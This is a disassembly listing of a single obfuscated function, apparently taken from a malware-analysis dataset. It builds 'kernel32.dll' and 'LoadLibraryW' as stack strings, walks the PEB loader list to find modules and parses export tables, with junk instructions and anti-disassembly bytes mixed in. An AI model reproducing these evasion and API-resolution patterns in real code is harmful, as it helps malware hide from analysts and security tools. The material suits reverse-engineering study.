Function at 0x50ed24
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
and edx, 0x377f
call 0x50e8d3
add byte [esi], bh
xor eax, dword [edi + 0x4e]
dec ecx
inc ecx
dec esi
add esp, 4
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edi
push ecx
add esp, 4
xor edi, 0xa96d
pop edi
push ebx
xor ebx, 0xda3b
and ebx, 0x14a5f
and ebx, 0xa6a0
pop ebx
push ecx
push edx
add esp, 4
and ecx, 0x94a7
add ecx, 0x12256
pop ecx
push ecx
xor ecx, 0x2ef1
xor ecx, 0x1011
and ecx, 0xda45
pop ecx
push esi
push edi
add esp, 4
or esi, 0x114e1
call fcn.0050e9d0
add byte [0x494e4f50], dh
xor eax, 0x83354a4e
add esp, 4
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push eax
push eax
add esp, 4
add eax, 0xeb7a
sub eax, 0x1366d
and eax, 0xa1f9
pop eax
push esi
or esi, 0xfdc2
sub esi, 0xa65d
pop esi
push edx
push ebx
add esp, 4
xor edx, 0x13b34
pop edx
cmp dword [ebp - 0x14d4], 0
jne 0x50ea46
mov dword [ebp - 0x2e0], 0
jmp 0x50ed02
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edx
call 0x50ea65
add byte [eax + 0x46], dl
dec edx
cmp edi, dword [ebx]
add esp, 4
call 0x50ea74
add byte [esi + 0x35], cl
cmp eax, 0x83463e41
les eax, [edx + ebx*2]
push edx
push esi
add esp, 4
or edx, 0x133e8
and edx, 0x14b4c
pop edx
cmp dword [ebp - 0xc20], 0
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2e0], 0
jmp 0x50ed02
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edx
xor edx, 0x16f14
add edx, 0x14c4f
pop edx
push edx
push ecx
add esp, 4
sub edx, 0x4070
or edx, 0x4d67
and edx, 0x83f6
pop edx
push ebx
push edx
add esp, 4
add ebx, 0x752a
pop ebx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ebx
jmp 0x50eb14
xor ebx, 0x14d84
sub ebx, 0x8d7
sub ebx, 0x478f
pop ebx
push edx
push edi
add esp, 4
jmp 0x50eb32
and edx, 0x2c59
add edx, 0x1832a
pop edx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push esi
push ebx
add esp, 4
or esi, 0x150a5
add esi, 0xbda5
call 0x50ebb9
add byte [ecx], bh
cmp byte [edi + esi + 0x43], cl
inc edx
cmp al, 0x42
inc ecx
add esp, 4
or esi, 0x11529
pop esi
push eax
sub eax, 0xadd
pop eax
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x50ebee
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x50ec51
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x50eb0d
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x50eb0d
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x50ec3b
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x50ec45
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x50ec9a
push eax
xor eax, 0x9e5a
sub eax, 0xba84
and eax, 0x548
and eax, 0x10ba5
pop eax
push eax
push eax
add esp, 4
or eax, 0x146a4
or eax, 0x164c
sub eax, 0x177f5
pop eax
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x50ed02
push edx
push eax
add esp, 4
add edx, 0x12797
call 0x50ecb2
add byte [ecx + 0x41], cl
dec edi
xor ecx, dword ds:[ecx + 0x37]
add esp, 4
call 0x50ecc2
add byte [ecx + 0x43], cl
dec esp
dec eax
dec edx
dec esp
add esp, 4
and edx, 0x17970
pop edx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x50ecf8
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x50eaae
mov dword [ebp - 0x2e0], 0
push edx
and edx, 0x11b4d
pop edx
push edi
push eax
add esp, 4
add edi, 0x10e98
call 0x50ed24
add byte [eax + 0x3f], dl
inc esp
cmp dword [esp + esi + 0x45], ecx
dec edx
cmp eax, dword [ebx - 0x387efb3c]
pop esi
inc byte [eax]
add byte [ecx + 0x139ecc7], al
add byte [edi - 0x7d], bl
mov ebp, 0xfffffd20
add byte [edi], cl
test dword [ecx + ecx], ecx
add byte [eax], al
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ecx
push ebx
add esp, 4
or ecx, 0xcc95
sub ecx, 0x4af
or ecx, 0x31b4
or ecx, 0x17831
pop ecx
push esi
and esi, 0x8369
sub esi, 0x102d4
or esi, 0x1162
pop esi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edx
push esi
add esp, 4
add edx, 0x7a24
add edx, 0x1f04
sub edx, 0xaba7
and edx, 0x13d87
pop edx
push esi
add esi, 0x4352
pop esi
push eax
push ecx
add esp, 4
sub eax, 0xc2d2
pop eax
cmp dword [ebp - 0x14dc], 0
jne 0x50eed8
mov dword [ebp - 0x6ec], 0
jmp 0x50f194
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push eax
push ecx
add esp, 4
xor eax, 0xf877
add eax, 0xfcfb
pop eax
push eax
xor eax, 0x4774
call 0x50ef12
add byte [edx], bh
inc esi
cmp eax, dword [ebp + 0x38]
cmp eax, 0x834e4343
les eax, [ecx + eax*4]
rol byte [edx + 0x580000da], 0x83
fiadd dword [eax]
add byte [eax - 0x7d], bl
mov ebp, 0xfffff3d4
add byte [ebp + 0xf], dh
mov dword [ebp - 0x6ec], 0
jmp 0x50f194
push esi
push ebx
add esp, 4
and esi, 0x3e8a
call 0x50f1af
add byte [ecx], bh
inc ecx
cmp eax, 0x414c383b
dec esi
inc eax
cmp al, byte [ebx + 0x535e04c4]
sub ebx, 0xd2d2
jmp 0x50f1bf
and ebx, 0xca98
pop ebx
cmp dword [ebp - 0x6ec], 0
jne 0x50f210
push ebx
xor ebx, 0x11423
or ebx, 0xb334
xor ebx, 0xd2fb
pop ebx
push ebx
push ecx
add esp, 4
add ebx, 0x74f
call 0x50f1fd
add byte [0x373d4441], dh
dec ebp
xor bh, byte [edx]
inc eax
add esp, 4
pop ebx
mov dword [ebp - 0x738], 0
jmp 0x50fd37
push eax
push esi
add esp, 4
xor eax, 0x2e94
call 0x50f227
add byte [ecx*2 + 0x3b3d3733], dh
add esp, 4
pop eax
push ebx
xor ebx, 0xfc9
pop ebx
push ebx
push eax
add esp, 4
jmp 0x50f241
pop ebx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x50f281
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x50f572
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x50f2a9
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x50f572
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x50f2db
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x50f572
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x50f300
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x50f572
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x50f35a